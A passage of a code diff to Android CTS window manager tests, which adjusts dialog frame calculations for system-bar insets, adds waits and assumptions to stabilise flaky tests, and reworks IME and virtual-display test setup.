 import static org.junit.Assert.assertEquals;
 
 import android.content.ComponentName;
+import android.graphics.Insets;
 import android.graphics.Rect;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.WindowManagerState.WindowState;
+import android.view.WindowInsets;
 
 import androidx.test.rule.ActivityTestRule;
 
@@ -97,9 +99,9 @@
     // the same content frame as the main activity window
     @Test
     public void testMatchParentDialog() throws Exception {
-        doParentChildTest(TEST_MATCH_PARENT, (parent, dialog) ->
-                assertEquals(parent.getContentFrame(), dialog.getFrame())
-        );
+        doParentChildTest(TEST_MATCH_PARENT, (parent, dialog) -> { ;
+            assertEquals(getParentFrameWithInsets(parent), dialog.getFrame());
+        });
     }
 
     private static final int explicitDimension = 200;
@@ -108,12 +110,12 @@
     @Test
     public void testExplicitSizeDefaultGravity() throws Exception {
         doParentChildTest(TEST_EXPLICIT_SIZE, (parent, dialog) -> {
-            Rect contentFrame = parent.getContentFrame();
+            Rect parentFrame = getParentFrameWithInsets(parent);
             Rect expectedFrame = new Rect(
-                    contentFrame.left + (contentFrame.width() - explicitDimension) / 2,
-                    contentFrame.top + (contentFrame.height() - explicitDimension) / 2,
-                    contentFrame.left + (contentFrame.width() + explicitDimension) / 2,
-                    contentFrame.top + (contentFrame.height() + explicitDimension) / 2);
+                    parentFrame.left + (parentFrame.width() - explicitDimension) / 2,
+                    parentFrame.top + (parentFrame.height() - explicitDimension) / 2,
+                    parentFrame.left + (parentFrame.width() + explicitDimension) / 2,
+                    parentFrame.top + (parentFrame.height() + explicitDimension) / 2);
             assertEquals(expectedFrame, dialog.getFrame());
         });
     }
@@ -121,12 +123,12 @@
     @Test
     public void testExplicitSizeTopLeftGravity() throws Exception {
         doParentChildTest(TEST_EXPLICIT_SIZE_TOP_LEFT_GRAVITY, (parent, dialog) -> {
-            Rect contentFrame = parent.getContentFrame();
+            Rect parentFrame = getParentFrameWithInsets(parent);
             Rect expectedFrame = new Rect(
-                    contentFrame.left,
-                    contentFrame.top,
-                    contentFrame.left + explicitDimension,
-                    contentFrame.top + explicitDimension);
+                    parentFrame.left,
+                    parentFrame.top,
+                    parentFrame.left + explicitDimension,
+                    parentFrame.top + explicitDimension);
             assertEquals(expectedFrame, dialog.getFrame());
         });
     }
@@ -134,12 +136,12 @@
     @Test
     public void testExplicitSizeBottomRightGravity() throws Exception {
         doParentChildTest(TEST_EXPLICIT_SIZE_BOTTOM_RIGHT_GRAVITY, (parent, dialog) -> {
-            Rect contentFrame = parent.getContentFrame();
+            Rect parentFrame = getParentFrameWithInsets(parent);
             Rect expectedFrame = new Rect(
-                    contentFrame.left + contentFrame.width() - explicitDimension,
-                    contentFrame.top + contentFrame.height() - explicitDimension,
-                    contentFrame.left + contentFrame.width(),
-                    contentFrame.top + contentFrame.height());
+                    parentFrame.left + parentFrame.width() - explicitDimension,
+                    parentFrame.top + parentFrame.height() - explicitDimension,
+                    parentFrame.left + parentFrame.width(),
+                    parentFrame.top + parentFrame.height());
             assertEquals(expectedFrame, dialog.getFrame());
         });
     }
@@ -152,7 +154,7 @@
         doParentChildTest(TEST_OVER_SIZED_DIMENSIONS, (parent, dialog) ->
                 // With the default flags oversize should result in clipping to
                 // parent frame.
-                assertEquals(parent.getContentFrame(), dialog.getFrame())
+                assertEquals(getParentFrameWithInsets(parent), dialog.getFrame())
         );
     }
 
@@ -166,10 +168,10 @@
         // TODO(b/36890978): We only run this in fullscreen because of the
         // unclear status of NO_LIMITS for non-child surfaces in MW modes
         doFullscreenTest(TEST_OVER_SIZED_DIMENSIONS_NO_LIMITS, (parent, dialog) -> {
-            Rect contentFrame = parent.getContentFrame();
-            Rect expectedFrame = new Rect(contentFrame.left, contentFrame.top,
-                    contentFrame.left + oversizedDimension,
-                    contentFrame.top + oversizedDimension);
+            Rect parentFrame = getParentFrameWithInsets(parent);
+            Rect expectedFrame = new Rect(parentFrame.left, parentFrame.top,
+                    parentFrame.left + oversizedDimension,
+                    parentFrame.top + oversizedDimension);
             assertEquals(expectedFrame, dialog.getFrame());
         });
     }
@@ -180,7 +182,7 @@
     @Test
     public void testExplicitPositionMatchParent() throws Exception {
         doParentChildTest(TEST_EXPLICIT_POSITION_MATCH_PARENT, (parent, dialog) ->
-                assertEquals(parent.getContentFrame(), dialog.getFrame())
+                assertEquals(getParentFrameWithInsets(parent), dialog.getFrame())
         );
     }
 
@@ -190,8 +192,8 @@
     public void testExplicitPositionMatchParentNoLimits() throws Exception {
         final int explicitPosition = 100;
         doParentChildTest(TEST_EXPLICIT_POSITION_MATCH_PARENT_NO_LIMITS, (parent, dialog) -> {
-            Rect contentFrame = parent.getContentFrame();
-            Rect expectedFrame = new Rect(contentFrame);
+            Rect parentFrame = getParentFrameWithInsets(parent);
+            Rect expectedFrame = new Rect(parentFrame);
             expectedFrame.offset(explicitPosition, explicitPosition);
             assertEquals(expectedFrame, dialog.getFrame());
         });
@@ -218,7 +220,7 @@
         float horizontalMargin = .10f;
         float verticalMargin = .15f;
         doParentChildTest(TEST_WITH_MARGINS, (parent, dialog) -> {
-            Rect frame = parent.getContentFrame();
+            Rect frame = getParentFrameWithInsets(parent);
             Rect expectedFrame = new Rect(
                     (int) (horizontalMargin * frame.width() + frame.left),
                     (int) (verticalMargin * frame.height() + frame.top),
@@ -237,4 +239,26 @@
                 assertThat(wmState.getZOrder(dialog), greaterThan(wmState.getZOrder(parent)))
         );
     }
+
+    private Rect getParentFrameWithInsets(WindowState parent) {
+        Rect parentFrame = parent.getFrame();
+        return inset(parentFrame, getActivitySystemInsets());
+    }
+
+    private Insets getActivitySystemInsets() {
+        return mDialogTestActivity
+                .getActivity()
+                .getWindow()
+                .getDecorView()
+                .getRootWindowInsets()
+                .getInsets(WindowInsets.Type.systemBars());
+    }
+
+    private static Rect inset(Rect original, Insets insets) {
+        final int left = original.left + insets.left;
+        final int top = original.top + insets.top;
+        final int right = original.right - insets.right;
+        final int bottom = original.bottom - insets.bottom;
+        return new Rect(left, top, right, bottom);
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java
index a2ff568..3408dc9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java
@@ -16,16 +16,18 @@
 
 package android.server.wm;
 
+import static android.view.WindowInsets.Type.navigationBars;
+import static android.view.WindowInsets.Type.statusBars;
 import static android.view.WindowInsets.Type.systemBars;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 
 import android.app.Activity;
 import android.graphics.Insets;
 import android.os.Bundle;
-import android.util.Log;
 import android.view.View;
 import android.view.Window;
 import android.view.WindowInsets;
@@ -49,6 +51,8 @@
             throws Throwable {
         TestActivity activity = mDecorActivity.getActivity();
         assertNotNull("test setup failed", activity.mLastContentInsets);
+        assumeFalse(Insets.NONE.equals(activity.mLastContentInsets.getInsetsIgnoringVisibility(
+                statusBars() | navigationBars())));
 
         InstrumentationRegistry.getInstrumentation().runOnMainSync(() -> {
             activity.mLayoutHappened = false;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java
index 74b3c7b..2abb9de 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java
@@ -17,6 +17,7 @@
 package android.server.wm;
 
 import static android.app.ActivityTaskManager.INVALID_STACK_ID;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.app.Components.MPP_ACTIVITY;
 import static android.server.wm.app.Components.MPP_ACTIVITY2;
 import static android.server.wm.app.Components.MPP_ACTIVITY3;
@@ -145,7 +146,7 @@
         launchMppActivity(MPP_ACTIVITY, PREFER_MPP);
         launchMppActivity(MPP_ACTIVITY2, NOT_PREFER_MPP);
 
-        mWmState.assertVisibility(MPP_ACTIVITY, false);
+        mWmState.waitAndAssertVisibilityGone(MPP_ACTIVITY);
         mWmState.assertVisibility(MPP_ACTIVITY2, true);
 
         assertDisplayRequestedMinimalPostProcessing(MPP_ACTIVITY, NOT_PREFER_MPP);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 1d6ea9e..3ac15bb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -210,6 +210,8 @@
 
     @Test
     public void testPinnedStackInBoundsAfterRotation() {
+        assumeTrue("Skipping test: no rotation support", supportsRotation());
+
         // Launch an activity that is not fixed-orientation so that the display can rotate
         launchActivity(TEST_ACTIVITY);
         // Launch an activity into the pinned stack
@@ -1001,6 +1003,8 @@
     @Test
     @FlakyTest(bugId=156314330)
     public void testFinishPipActivityWithTaskOverlay() throws Exception {
+        // Trigger PiP menu activity to properly lose focuse when going home
+        launchActivity(TEST_ACTIVITY);
         // Launch PiP activity
         launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
         waitForEnterPip(PIP_ACTIVITY);
@@ -1043,7 +1047,6 @@
         assertEquals("onPause", 0, lifecycleCounts.getCount(ActivityCallback.ON_PAUSE));
     }
 
-    @FlakyTest(bugId = 156003518)
     @Test
     public void testPinnedStackWithDockedStack() throws Exception {
         assumeTrue(supportsSplitScreenMultiWindow());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java b/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java
index 5e813d1..4b34c9b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java
@@ -29,6 +29,10 @@
 
 import java.util.List;
 
+/**
+ * Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:PresentationTest
+ */
 @Presubmit
 public class PresentationTest extends MultiDisplayTestBase {
 
@@ -68,6 +72,7 @@
         WindowManagerState.DisplayContent display = virtualDisplaySession
                         .setPresentationDisplay(true)
                         .setPublicDisplay(true)
+                        .setResizeDisplay(false) // resize only through resizeDisplay call
                         .createDisplay();
 
         assertThat(display.getFlags() & Display.FLAG_PRESENTATION)
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index 1863487..0fc4bc8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -16,6 +16,7 @@
 
 package android.server.wm;
 
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.app.Components.SPLASHSCREEN_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
 
@@ -53,6 +54,8 @@
     @Test
     public void testSplashscreenContent() {
         launchActivityNoWait(SPLASHSCREEN_ACTIVITY);
+        // Activity may not be launched yet even if app transition is in idle state.
+        mWmState.waitForActivityState(SPLASHSCREEN_ACTIVITY, STATE_RESUMED);
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
         mWmState.getStableBounds();
         final Bitmap image = takeScreenshot();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
index 7075f4c..a876088 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
@@ -208,6 +208,7 @@
 
         // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
         // will come up.
+        launchActivity(LAUNCHING_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
         launchActivity(TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
 
         // Move activity back to fullscreen stack.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
index 00fc83b..d0aa669 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
@@ -102,7 +102,7 @@
     public void testSameSurface() {
         final SurfaceControl.Builder b = new SurfaceControl.Builder();
         final SurfaceControl sc = b.setName("CTS").build();
-        SurfaceControl copy = new SurfaceControl(sc);
+        SurfaceControl copy = new SurfaceControl(sc, "SurfaceControlTest.testSameSurface");
         assertTrue(copy.isSameSurface(sc));
         sc.release();
         copy.release();
@@ -178,18 +178,23 @@
      */
     @Test
     public void testReparentOff() throws Throwable {
+        final SurfaceControl sc = buildDefaultRedSurface(null);
         verifyTest(
                 new SurfaceControlTestCase.ParentSurfaceConsumer () {
                     @Override
                     public void addChildren(SurfaceControl parent) {
-                        final SurfaceControl sc = buildDefaultRedSurface(parent);
-
+                        new SurfaceControl.Transaction().reparent(sc, parent).apply();
                         new SurfaceControl.Transaction().reparent(sc, null).apply();
-
-                        sc.release();
                     }
                 },
                 new RectChecker(new Rect(0, 0, 100, 100), PixelColor.WHITE));
+      // Since the SurfaceControl is parented off-screen, if we release our reference
+      // it may completely die. If this occurs while the render thread is still rendering
+      // the RED background we could trigger a crash. For this test defer destroying the
+      // Surface until we have collected our test results.
+      if (sc != null) {
+        sc.release();
+      }
     }
 
     /**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlViewHostTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlViewHostTests.java
index ef4760e..55e6cc1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlViewHostTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlViewHostTests.java
@@ -224,6 +224,10 @@
         });
         WidgetTestUtils.runOnMainAndDrawSync(mActivityRule,
             mEmbeddedView, null);
+        // We need to draw twice to make sure the first buffer actually
+        // arrives.
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule,
+            mEmbeddedView, null);
 
         // But after the click should hit.
         CtsTouchUtils.emulateTapOnViewCenter(mInstrumentation, mActivityRule, mSurfaceView);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index ae9a40c..bdb28b2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -135,7 +135,10 @@
         sendAndAssertTargetConsumedKey(primaryActivity, KEYCODE_1, DEFAULT_DISPLAY);
 
         assumeTrue(supportsMultiDisplay());
-        final InvisibleVirtualDisplaySession session = createManagedInvisibleDisplaySession();
+
+        // VirtualDisplay can't maintain perDisplayFocus because it is not trusted,
+        // so uses SimulatedDisplay instead.
+        final SimulatedDisplaySession session = createManagedSimulatedDisplaySession();
         final int secondaryDisplayId = session.getDisplayId();
         final SecondaryActivity secondaryActivity = session.startActivityAndFocus();
         sendAndAssertTargetConsumedKey(secondaryActivity, KEYCODE_2, INVALID_DISPLAY);
@@ -497,13 +500,7 @@
         }
 
         SecondaryActivity startActivityAndFocus() {
-            final int displayId = getDisplayId();
-            // An untrusted virtual display won't have focus until the display is touched.
-            final SecondaryActivity activity = WindowManagerTestBase.startActivity(
-                    SecondaryActivity.class, displayId, false /* hasFocus */);
-            tapOnCenterOfDisplay(displayId);
-            activity.waitAndAssertWindowFocusState(true);
-            return activity;
+            return WindowFocusTests.startActivityAndFocus(getDisplayId(), false /* hasFocus */);
         }
 
         @Override
@@ -516,4 +513,40 @@
             }
         }
     }
+
+    private SimulatedDisplaySession createManagedSimulatedDisplaySession() {
+        return mObjectTracker.manage(new SimulatedDisplaySession());
+    }
+
+    private class SimulatedDisplaySession implements AutoCloseable {
+        private final VirtualDisplaySession mVirtualDisplaySession;
+        private final WindowManagerState.DisplayContent mVirtualDisplay;
+
+        SimulatedDisplaySession() {
+            mVirtualDisplaySession = new VirtualDisplaySession();
+            mVirtualDisplay = mVirtualDisplaySession.setSimulateDisplay(true).createDisplay();
+        }
+
+        int getDisplayId() {
+            return mVirtualDisplay.mId;
+        }
+
+        SecondaryActivity startActivityAndFocus() {
+            return WindowFocusTests.startActivityAndFocus(getDisplayId(), true /* hasFocus */);
+        }
+
+        @Override
+        public void close() {
+            mVirtualDisplaySession.close();
+        }
+    }
+
+    private static SecondaryActivity startActivityAndFocus(int displayId, boolean hasFocus) {
+        // An untrusted virtual display won't have focus until the display is touched.
+        final SecondaryActivity activity = WindowManagerTestBase.startActivity(
+                SecondaryActivity.class, displayId, hasFocus);
+        tapOnCenterOfDisplay(displayId);
+        activity.waitAndAssertWindowFocusState(true);
+        return activity;
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index 6e21f4b..c90b859 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -25,22 +25,28 @@
 import static android.view.WindowInsets.Type.statusBars;
 
 import static androidx.test.internal.runner.junit4.statement.UiThreadStatement.runOnUiThread;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
-import static org.hamcrest.Matchers.contains;
-import static org.hamcrest.Matchers.containsInAnyOrder;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+
 import static org.hamcrest.Matchers.equalTo;
 import static org.hamcrest.Matchers.hasItem;
+import static org.hamcrest.Matchers.hasSize;
 import static org.hamcrest.Matchers.is;
 import static org.hamcrest.Matchers.not;
 import static org.hamcrest.Matchers.notNullValue;
+import static org.hamcrest.Matchers.nullValue;
 import static org.hamcrest.Matchers.sameInstance;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
 
 import android.animation.Animator;
 import android.animation.AnimatorListenerAdapter;
 import android.animation.ValueAnimator;
+import android.app.Instrumentation;
 import android.graphics.Insets;
 import android.os.CancellationSignal;
 import android.platform.test.annotations.Presubmit;
@@ -55,10 +61,16 @@
 import android.view.animation.DecelerateInterpolator;
 import android.view.animation.Interpolator;
 import android.view.animation.LinearInterpolator;
+import android.view.inputmethod.InputMethodManager;
 
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
 
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
+
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
@@ -68,6 +80,7 @@
 import org.junit.runners.Parameterized.Parameter;
 import org.junit.runners.Parameterized.Parameters;
 
+import java.util.ArrayList;
 import java.util.HashSet;
 import java.util.List;
 import java.util.Locale;
@@ -82,7 +95,7 @@
  * Build/Install/Run:
  *     atest CtsWindowManagerDeviceTestCases:WindowInsetsAnimationControllerTests
  */
-@Presubmit
+//TODO(b/159167851) @Presubmit
 @RunWith(Parameterized.class)
 public class WindowInsetsAnimationControllerTests extends WindowManagerTestBase {
 
@@ -93,10 +106,19 @@
     Interpolator mInterpolator;
     boolean mOnProgressCalled;
     private ValueAnimator mAnimator;
+    List<VerifyingCallback> mCallbacks = new ArrayList<>();
+    private boolean mLossOfControlExpected;
 
     @Rule
     public LimitedErrorCollector mErrorCollector = new LimitedErrorCollector();
 
+    /**
+     * {@link MockImeSession} used when {@link #mType} is
+     * {@link android.view.WindowInsets.Type#ime()}.
+     */
+    @Nullable
+    private MockImeSession mMockImeSession;
+
     @Parameter(0)
     public int mType;
 
@@ -115,10 +137,52 @@
     @Before
     public void setUp() throws Exception {
         super.setUp();
+        final ImeEventStream mockImeEventStream;
+        if (mType == ime()) {
+            final Instrumentation instrumentation = getInstrumentation();
+            assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
+                    nullValue());
+
+            // For the best test stability MockIme should be selected before launching TestActivity.
+            mMockImeSession = MockImeSession.create(
+                    instrumentation.getContext(), instrumentation.getUiAutomation(),
+                    new ImeSettings.Builder());
+            mockImeEventStream = mMockImeSession.openEventStream();
+        } else {
+            mockImeEventStream = null;
+        }
+
         mActivity = startActivity(TestActivity.class);
         mRootView = mActivity.getWindow().getDecorView();
         mListener = new ControlListener(mErrorCollector);
         assumeTestCompatibility();
+
+        if (mockImeEventStream != null) {
+            // TestActivity has a focused EditText. Hence MockIme should receive onStartInput() for
+            // that EditText within a reasonable time.
+            expectEvent(mockImeEventStream,
+                    editorMatcher("onStartInput", mActivity.getEditTextMarker()),
+                    TimeUnit.SECONDS.toMillis(10));
+        }
+    }
+
+    @After
+    public void tearDown() throws Throwable {
+        runOnUiThread(() -> {});  // Fence to make sure we dispatched everything.
+        mCallbacks.forEach(VerifyingCallback::assertNoRunningAnimations);
+
+        // Unregistering VerifyingCallback as tearing down the MockIme also triggers UI events,
+        // which can trigger assertion failures in VerifyingCallback otherwise.
+        runOnUiThread(() -> {
+            mCallbacks.clear();
+            mRootView.setWindowInsetsAnimationCallback(null);
+        });
+
+        // Now it should be safe to reset the IME to the default one.
+        if (mMockImeSession != null) {
+            mMockImeSession.close();
+            mMockImeSession = null;
+        }
     }
 
     private void assumeTestCompatibility() {
@@ -128,6 +192,7 @@
         }
     }
 
+    @Presubmit
     @Test
     public void testControl_andCancel() throws Throwable {
         runOnUiThread(() -> {
@@ -160,6 +225,7 @@
         mListener.assertWasNotCalled(FINISHED);
     }
 
+    @Presubmit
     @Test
     public void testControl_immediately_show() throws Throwable {
         setVisibilityAndWait(mType, false);
@@ -180,6 +246,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_immediately_hide() throws Throwable {
         setVisibilityAndWait(mType, true);
@@ -200,6 +267,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_transition_show() throws Throwable {
         setVisibilityAndWait(mType, false);
@@ -218,6 +286,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_transition_hide() throws Throwable {
         setVisibilityAndWait(mType, true);
@@ -236,6 +305,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_transition_show_interpolator() throws Throwable {
         mInterpolator = new DecelerateInterpolator();
@@ -255,6 +325,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_transition_hide_interpolator() throws Throwable {
         mInterpolator = new AccelerateInterpolator();
@@ -274,9 +345,58 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Test
+    public void testControl_andLoseControl() throws Throwable {
+        mInterpolator = new AccelerateInterpolator();
+        setVisibilityAndWait(mType, true);
+
+        runOnUiThread(() -> {
+            setupAnimationListener();
+            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                    mInterpolator, null, mListener);
+        });
+
+        mListener.awaitAndAssert(READY);
+
+        runTransition(false, TimeUnit.MINUTES.toMillis(5));
+        runOnUiThread(() -> {
+            mLossOfControlExpected = true;
+        });
+        launchHomeActivityNoWait();
+
+        mListener.awaitAndAssert(CANCELLED);
+        mListener.assertWasNotCalled(FINISHED);
+    }
+
+    @Presubmit
+    @Test
+    public void testImeControl_isntInterruptedByStartingInput() throws Throwable {
+        if (mType != ime()) {
+            return;
+        }
+
+        setVisibilityAndWait(mType, false);
+
+        runOnUiThread(() -> {
+            setupAnimationListener();
+            mRootView.getWindowInsetsController().controlWindowInsetsAnimation(mType, 0,
+                    null, null, mListener);
+        });
+
+        mListener.awaitAndAssert(READY);
+
+        runTransition(true);
+        runOnUiThread(() -> {
+            mActivity.getSystemService(InputMethodManager.class).restartInput(mActivity.mEditor);
+        });
+
+        mListener.awaitAndAssert(FINISHED);
+        mListener.assertWasNotCalled(CANCELLED);
+    }
+
     private void setupAnimationListener() {
         WindowInsets initialInsets = mActivity.mLastWindowInsets;
-        mRootView.setWindowInsetsAnimationCallback(new VerifyingCallback(
+        VerifyingCallback callback = new VerifyingCallback(
                 new Callback(Callback.DISPATCH_MODE_STOP) {
             @Override
             public void onPrepare(@NonNull WindowInsetsAnimation animation) {
@@ -311,7 +431,8 @@
                             fraction, equalTo(mAnimator.getAnimatedFraction()));
 
                     Interpolator interpolator =
-                            mInterpolator != null ? mInterpolator : new LinearInterpolator();
+                            mInterpolator != null ? mInterpolator
+                                    : new LinearInterpolator();
                     mErrorCollector.checkThat("onProgress",
                             runningAnimations.get(0).getInterpolatedFraction(),
                             equalTo(interpolator.getInterpolation(
@@ -322,12 +443,18 @@
 
             @Override
             public void onEnd(@NonNull WindowInsetsAnimation animation) {
-                mRootView.setOnApplyWindowInsetsListener(null);
+                mRootView.setWindowInsetsAnimationCallback(null);
             }
-        }));
+        });
+        mCallbacks.add(callback);
+        mRootView.setWindowInsetsAnimationCallback(callback);
     }
 
     private void runTransition(boolean show) throws Throwable {
+        runTransition(show, 1000);
+    }
+
+    private void runTransition(boolean show, long durationMillis) throws Throwable {
         runOnUiThread(() -> {
             mAnimator = ValueAnimator.ofObject(
                     INSETS_EVALUATOR,
@@ -336,11 +463,13 @@
                     show ? mListener.mController.getShownStateInsets()
                             : mListener.mController.getHiddenStateInsets()
             );
-            mAnimator.setDuration(1000);
+            mAnimator.setDuration(durationMillis);
             mAnimator.addUpdateListener((animator1) -> {
                 if (!mListener.mController.isReady()) {
                     // Lost control - Don't crash the instrumentation below.
-                    mErrorCollector.addError(new AssertionError("Unexpectedly lost control."));
+                    if (!mLossOfControlExpected) {
+                        mErrorCollector.addError(new AssertionError("Unexpectedly lost control."));
+                    }
                     mAnimator.cancel();
                     return;
                 }
@@ -510,6 +639,10 @@
             mPreparedAnimations.remove(animation);
             mInner.onEnd(animation);
         }
+
+        public void assertNoRunningAnimations() {
+            mErrorCollector.checkThat(mRunningAnimations, hasSize(0));
+        }
     }
 
     public static final class LimitedErrorCollector extends ErrorCollector {
@@ -525,8 +658,8 @@
 
         @Override
         protected void verify() throws Throwable {
-            if (mCount >= LIMIT) {
-                super.addError(new AssertionError(mCount + " errors skipped."));
+            if (mCount > LIMIT) {
+                super.addError(new AssertionError((mCount - LIMIT) + " errors skipped."));
             }
             super.verify();
         }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
index 32255d2..3668172 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationImeTests.java
@@ -19,6 +19,7 @@
 import static android.graphics.Insets.NONE;
 import static android.view.WindowInsets.Type.ime;
 import static android.view.WindowInsets.Type.navigationBars;
+import static android.view.WindowManager.LayoutParams.FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS;
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
@@ -32,7 +33,9 @@
 import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.withSettings;
 
+import android.app.Instrumentation;
 import android.content.pm.PackageManager;
+import android.graphics.Color;
 import android.platform.test.annotations.Presubmit;
 import android.view.WindowInsets;
 
@@ -40,10 +43,9 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 
 import com.android.cts.mockime.ImeSettings;
-import com.android.cts.mockime.MockImeSessionRule;
+import com.android.cts.mockime.MockImeSession;
 
 import org.junit.Before;
-import org.junit.Rule;
 import org.junit.Test;
 import org.mockito.InOrder;
 
@@ -56,12 +58,7 @@
 @Presubmit
 public class WindowInsetsAnimationImeTests extends WindowInsetsAnimationTestBase {
 
-    @Rule
-    public final MockImeSessionRule mMockImeSessionRule = new MockImeSessionRule(
-            InstrumentationRegistry.getInstrumentation().getContext(),
-            InstrumentationRegistry.getInstrumentation().getUiAutomation(),
-            new ImeSettings.Builder()
-    );
+    private static final int KEYBOARD_HEIGHT = 600;
 
     @Before
     public void setup() throws Exception {
@@ -69,33 +66,36 @@
         assumeTrue("MockIme cannot be used for devices that do not support installable IMEs",
                 mInstrumentation.getContext().getPackageManager().hasSystemFeature(
                         PackageManager.FEATURE_INPUT_METHODS));
+    }
+
+    private void initActivity(boolean useFloating) throws Exception {
+        initMockImeSession(useFloating);
+
         mActivity = startActivity(TestActivity.class);
         mRootView = mActivity.getWindow().getDecorView();
     }
 
+    private MockImeSession initMockImeSession(boolean useFloating) throws Exception {
+        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        return MockImeSession.create(
+                instrumentation.getContext(), instrumentation.getUiAutomation(),
+                useFloating ? getFloatingImeSettings()
+                        : new ImeSettings.Builder().setInputViewHeight(KEYBOARD_HEIGHT)
+                                .setDrawsBehindNavBar(true));
+    }
+
     @Test
-    public void testImeAnimationCallbacksShowAndHide() {
-        WindowInsets before = mActivity.mLastWindowInsets;
-        getInstrumentation().runOnMainSync(
-                () -> mRootView.getWindowInsetsController().show(ime()));
-
-        waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
